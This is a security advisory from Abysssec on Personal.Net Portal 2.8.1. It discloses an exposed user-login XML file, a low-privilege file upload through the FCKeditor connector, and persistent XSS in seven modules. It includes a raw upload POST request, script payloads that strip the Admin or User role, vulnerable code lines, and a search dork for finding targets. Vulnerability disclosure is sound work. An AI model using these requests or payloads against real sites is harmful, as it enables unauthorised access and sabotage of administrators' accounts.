'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
Abysssec Inc Public Advisory
Title : Personal.Net Portal Multiple Vulnerabilities
Affected Version : Personal.Net Portal Version 2.8.1
Discovery : www.Abysssec.com
Vendor : http://www.dotnet-portal.net/Home.tab.aspx
Download Links : http://sourceforge.net/projects/dotnetportal/
Dork : "Personal .NET Portal"
Description :
===========================================================================================
This version of Personal.Net Portal(2.8.1) have Multiple Valnerabilities :
1- User's Information Revelation
2- Upload a file with normal user that have low privilage
3- Persistent XSS for DDOS and remove Roles and ... (XSRF)
User's Information Revelation:
===========================================================================================
With this path you can find User's Information of site:
http://Example.com/Data/Statistics/Logins.xml
this Information includes:
UserId
LoginCount
LastLogin
LoginName ( for Example Admin )
FirstName
LastName
Upload a file with normal user that have low privilage:
===========================================================================================
After you logged in as a normal user (for example userName:user and Password:user),
in the following path you can upload a specific file
with POST Method which is containing user's cookie.
http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/
For example this POST request:
POST http://Example.com/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: Example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://Example.com/FCKeditor/editor/filemanager/browser/default/frmupload.html
Cookie: ASP.NET_SessionId=wonb3e55eqgbrpnqdhcqly55; dotnetportal.auth=CE8C1A54B9676CDB4F911C820B4F59C50C75F6684E839578C59D289707A340E9EA444119E44E2B155612375255900C6FD3E0C94463E4C0ECEB929872CF2505FC
Content-Type: multipart/form-data; boundary=---------------------------125671705429877
Content-Length: 500
-----------------------------125671705429877
Content-Disposition: form-data; name="NewFile"; filename="shell.zip"
Content-Type: application/octet-stream
... any thing
-----------------------------125671705429877--
Here we have limitation of uploading specific file extension implementing by FckEditor v2
that bypassing this barrier is on you.
Uploaded files will be placing in this path:
http://Example.com/Data/Resources/file/
Vulnerable Code:
The misconfiguration is in ...\FCKeditor\editor\filemanager\connectors\aspx\config.ascx
ln 42:
private bool CheckAuthentication()
{
return Page.User.Identity.IsAuthenticated;
}
Persistent XSS and XSRF:
===========================================================================================
In these Modules you can find Persistent XSS that data saves with no sanitization:
1- Module name: CSVTable
Field : text
Vulnerable Code:
...\Modules\CSVTable\editcsvtable.ascx
ln 39: sw.Write(txt.Text);
For Example you can enter this script for DDOS:
<script>__doPostBack('ctl071$Linkbutton21','')</script>
---------------------------------------------------------------------------------------
2- Module name: Feedback
Fields : From , Title , Message
Vulnerable Code:
...\Modules\Feedback\feedback.ascx
ln 55,56,57: r["From"] = txtFrom.Text;
r["Title"] = txtTitle.Text;
r["Message"] = txtMessage.Text;
---------------------------------------------------------------------------------------
3- Module name: Html
Field : text
Vulnerable Code:
...\Modules\Html\edithtml.ascx
ln 39: w.Write(txt.Text);
---------------------------------------------------------------------------------------
4- Module name: MyUser
Fields : First name , Sur name
Vulnerable Code:
...\Modules\MyUser\MyUser.ascx.cs
ln 55: UserManagement.SaveUser(
Page.User.Identity.Name,
pwd, txtFirstName.Text, txtSurName.Text, txtEMail.Text,
new System.Collections.ArrayList(principal.Roles), principal.Id);
For Example you can enter this script for remove Admin Role:
<script>__doPostBack('Content$ctl14$gridRoles$ctl02$ctl00','')</script>
or this for remove User Role:
<script>__doPostBack('Content$ctl14$gridRoles$ctl03$ctl00','')</script>
and when Admin see this page:
http://Example.com/default.aspx?TabRef=adminusers
the Role will be removed and program will be DDOS.
---------------------------------------------------------------------------------------
5- Module name: News
Field : text
Vulnerable Code:
...\Modules\News\editnews.ascx
ln 70: dr["Text"] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[4].Controls[1]).Text;
---------------------------------------------------------------------------------------
6- Module name: Quotations
Field : text
Vulnerable Code:
...\Modules\Quotations\editquotations.ascx
ln 39: sw.Write(txt.Text);
---------------------------------------------------------------------------------------
7- Module name: Table
Field : column
Vulnerable Code:
...\Modules\Table\edittable.ascx
ln 65: dr[i] = ((System.Web.UI.WebControls.TextBox)repAddRow.Items[i].FindControl("data")).Text;
ln 137: dr[i] = ((System.Web.UI.WebControls.TextBox)e.Item.Cells[i + 2].Controls[0]).Text;
---------------------------------------------------------------------------------------
===========================================================================================